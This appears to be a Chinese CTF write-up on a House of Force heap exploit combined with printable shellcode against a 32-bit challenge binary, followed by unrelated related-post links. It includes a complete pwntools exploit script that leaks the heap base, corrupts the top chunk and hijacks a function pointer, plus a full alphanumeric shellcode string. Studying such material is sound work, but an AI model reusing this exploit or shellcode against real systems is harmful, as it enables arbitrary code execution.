字符串shellcode在house of force中的运用

实验环境Ubuntu18.04,glibc-2.27背景介绍1、 House of force是利用早期glibc库进行堆分配时存在的缺陷,从而对内存进行任意写的攻击方式。当初次申请堆块时,程序会映射一块较大的chunk作为top chunk,之后再进行申请时如果堆块较小,将从这个top chunk切分出合适的块,剩下的部分形成新的top chunk。而house of force就是利用了形成新top chunk时简单将原地址加上切分大小的缺陷,使得该top chunk被移动到任意位置,从而在下一次malloc时产生任意写的问题。要利用这一漏洞,需要程序存在堆溢出问题,能够覆写top chunk的size段。同时,还要求能确定目标地址与堆地址的偏移量,以便于top chunk能移动至目标位置。2、 字符串shellcode指的是由可见字符构成的shellcode。举例而言,字母'P’对应的十六进制为0x50,翻译成汇编指令为push %rax。可以使用alpha3等工具生成自定义shellcode。题目分析程序只有二进制文件,这里为了讲解方便,编译时保留了调试信息。首先查看保护机制:

32位程序,存在可读可写可执行段,代码段固定加载到0x8048000,不能修改got表。执行程序,大致观察程序流程:

程序首先要求用户输入name,然后会返回输出name相关信息。进入循环,当用户输入S时允许进一步产生三次输入,当用户输入L时程序退出。除一开始的name以外,程序并不会输出用户之前输入过的信息。接下来IDA查看函数入口:

其中prepare函数如下:

其中welcome函数用于输出treehole的banner。anymore函数用于读入一个字符,判断是否需要退出程序。readstr函数如下:

注意到该函数存在两个注意点:红圈内a2用于给定最大输入字符个数,但其类型为unsigned int,因此当传入-1时能引发过量写入。蓝圈内对字符大小做了限定,只允许输入ASCII码在32~126内的可见字符。confusename函数定义如下:

其对指定的字符串做了一系列异或运算。接下来的strncpy将ninput开始的0x50个字符拷贝到name处。使用ojbdump可以看出,name和ninput相邻,当name填满后printf会继续向后输出ninput的值,该值恰是堆上某chunk的地址。因此当输入的name超过50字节后,程序会泄露堆地址。

main函数使用的ptr是指向anymore函数的指针,该指针在bss段,可以在接下来的步骤中被修改,从而劫持函数控制流。主要输入函数pourout代码如下:

首先读入一个int整数(readint函数简单使用atoi,此处略去不表),然后申请这个数字+4(4用于存放后面输入的一个int)大小的块,并向这个块写入该大小指定的字符。然后读入一个int,并将它紧靠用户输入的字符串放入块中。漏洞利用点就在于如果readint读入一个负数(如-1),将会申请到一个最小块,然后允许用户过量写入(前文提到,readstr的长度判断存在unsigned int的问题)。readint此处实现了对可见字符这一限定的绕过,从而等价于允许用户输入最多4字节的任意字符。那么题目的思路便可以总结为:1、 调整top chunk到ptr附近2、 通过申请块时的readint,修改ptr为目标代码指针3、 利用RWX的漏洞,事先写入字符串shellcode,在第2步中使用如何调整top chunk呢?根据32位程序chunk的8字节对齐原则,只需要利用程序存在的-1任意写问题,即可产生堆溢出问题,修改top chunk的prev_size段,并使用readint来输入0xfffffff(即-1),程序如下:io.sendline('S')io.sendlineafter('wanna say?', '-1')io.sendlineafter('secrets...','A'*12)io.sendlineafter('do you like?','-1')则达到的效果为:

红圈内为用户申请到的chunk,可见其后的top chunk的size被修改为0xffffffff,则下一次申请时可以绕过对chunk大小的验证。这里为什么一定要绕过这一验证呢?因为ptr位于bss段,其地址低于top chunk。当malloc一个块时,如果使用top chunk,会首先检查其大小是否合适,然后将top chunk的地址加上块的大小,来实现top chunk的移动。如果想让top chunk重定向到小地址,需要malloc一个负数,而负数在unsigned int翻译时会成为大正数,不再使用top chunk切分,而是直接在libc加载地址前使用mmap映射。如果将top chunk修改为0xffffffff,能使得chunk的分配采用切分top chunk的方式,从而将top chunk向低地址移动。接下来可以再申请块,将大小设定为目标地址减去top chunk地址,实现top chunk的移动。这里可以将目标地址设定为ptr-0x10,则可以使得chunk head后直接readint输入shellcode地址即可实现修改ptr,劫持控制流。# move top chunk to .bss sectionfunc_ptr = 0x804b090 -0x10target_addr = func_ptr - 4current_addr = heap_base + 0x278io.sendline('S')io.sendlineafter('wanna say?', str(target_addr-current_addr))io.sendlineafter('secrets...','B'*12)io.sendlineafter('do you like?','-1')因此需要准备好shellcode。这里可以从网上搜索到32位程序的一条字符串shellcode:PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA直接正常输入即可。这里有两种放置方式,一种是放到ptr前,然后在当次填充中即可顺便修改ptr;一种是放到正常状态的堆里,然后再用一次malloc修改ptr。由于这里ptr在bss段的偏移是0x90,而shellcode长度147字节超过了0x90,所以采用了第一种方法。那么在第一次修改top chunk大小前,先填充这个shellcode即可。这也是之前的使用0x278的原因。

可见字符串shellcode如上所示。调整ptr到0x8eb61d0即可。(即heap_base+0x1d0)运行脚本,最终攻击结果如下:

脚本完整代码如下。shellcode和调整top chunk的方法不唯一,这里只是列举其中一种情况。from pwn import *from pwn import u32io = process('./a.out')context.terminal = ['tmux','splitw','-h']# context.log_level = 'debug'# gdb.attach(io, 'b main')def leak_heap_base():name = b'A'*100io.sendlineafter('tell me your name:',name)raw = io.recvuntil('Enjoy')rawbase = raw[raw.find(b'. Enjoy')-4:raw.find(b'. Enjoy')]return u32(rawbase.ljust(4,b'\x00')) & 0xfffff000heap_base = leak_heap_base()log.success(f'Leak heap base : {hex(heap_base)}')# write shellcodeshellcode = 'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA'shellcode_func = heap_base + 0x1d0io.sendline('')io.sendline('S')io.sendlineafter('wanna say?', str(len(shellcode)))io.sendlineafter('secrets...',shellcode)io.sendlineafter('do you like?','-1')# modify size of top chunkfor i in range(31):io.sendline('')io.sendline('S')io.sendlineafter('wanna say?', '-1')io.sendlineafter('secrets...','A'*12)io.sendlineafter('do you like?','-1')# move top chunk to .bss sectionfunc_ptr = 0x804b090 -0x10target_addr = func_ptr - 4current_addr = heap_base + 0x278for i in range(10):io.sendline('')io.sendline('S')io.sendlineafter('wanna say?', str(target_addr-current_addr))io.sendlineafter('secrets...','B'*12)io.sendlineafter('do you like?','-1')# getshellio.sendline('S')io.sendlineafter('wanna say?', '-1')io.sendlineafter('secrets...','')io.sendlineafter('do you like?',str(heap_base+0x1d0))io.interactive()

(0)

相关推荐

  • 全球最大僵尸网络自毁 火绒起底Emotet与安全软件对抗全过程

    近日,僵尸网络Emotet终于"自我毁灭".这个自2014年出现的病毒,当时还是一个仅用于窃取财物数据的银行木马,在7年的时间里,演变成一个被全球通缉的僵尸网络,于今年1月被欧洲刑 ...

  • PWN之Canary学习

    Canary 参考链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/ 0x1 简介: 用于防止栈溢出被利用的一 ...

  • 在Excel中提取单元格混合字符串中的数字与英文的函数介绍

    如何将某个单元格中的由英文与数字混合组成的字符串中的英文与中文分别提取到其它单元格? 首先说明,在Excel中没有满足这种功能的现成的函数,要想使用这种函数,就必须使用自定义的函数. 下面我们先看效果 ...

  • Python|字符串中第二大的数字

    问题描述给你一个混合字符串s,请你返回s中第二大的数字,如果不存在第二大的数字,请你返回-1.混合字符串由小写英文字母和数字组成.示例:输入:s = 'dfa12321afd'输出:2解决方案这是一道 ...

  • FastJson 处理json数据中对象相互引用,最后转为json字符串出现占位符("$ref"标识循环引用)"的问题

    环境 fastjson 1.2.41 问题说明 FastJson 问题 在json对象中有多个地方引用了相同的对象,在经过几次转换转为json字符串的时候会出现占位符, 然后使用fastjson 解析 ...

  • 从含有数字的文本字符串中提取出数字

    我的工作表中有许多含有数字的单元格,我想将数字单独提取出来.如下图1所示,将列A的单元格中的数字提取出来放置在列B中,应该如何编写公式呢? 图1 可以使用数组公式: =1*MID(A1,MATCH(T ...

  • 如何统计带分隔符的字符串中不重复的子字符串数?

    Q:某些情况下,我们可能要统计带有分隔符的字符串中不重复的子字符串数.如下图1所示,我想知道单元格A1中不重复的数字有几个,应该怎么编写公式? 图1 A:下面的数组公式可以完成单元格A1的字符串不重复 ...

  • 如何获取含有相同字符的字符串中该字符第n次出现的位置?

    Q:有时候,我们需要获取字符串中某字符第n次出现的位置.例如,在单元格A1中的字符串为"xy-01-02",如何知道字符"-"第2次出现的位置呢?(当然,我们数 ...

  • 从分隔符连接的字符串中提取子字符串

    有时候,在工作表单元格中有一些以某分隔符连接的字符串,如图1中的单元格A1,其内容是以逗号连接城市名. 图1 如果我们想要提取其中的某个城市,例如第8个子字符串表示的城市名,则可以使用下面的公式: = ...

  • 提取字符串中的数字

    本次的练习是:单元格中的数据包含文本和数字(如图1),如何使用公式提取出该单元格中的数字? 图1 先不看答案,自已动手试一试. 公式思路 先找到字符串文本中第1个数字出现的位置,然后取出从该位置起的全 ...

  • 获取单元格中字符串的最后一个单词

    本次的练习是:使用公式来获取字符串的最后一个单词.如下图所示,提取列A单元格中字符串的最后一个单词,将其放置到列C相应的单元格中. 先不看下面的内容,自已试一试. 公式思路 首先查找字符串中空格最后一 ...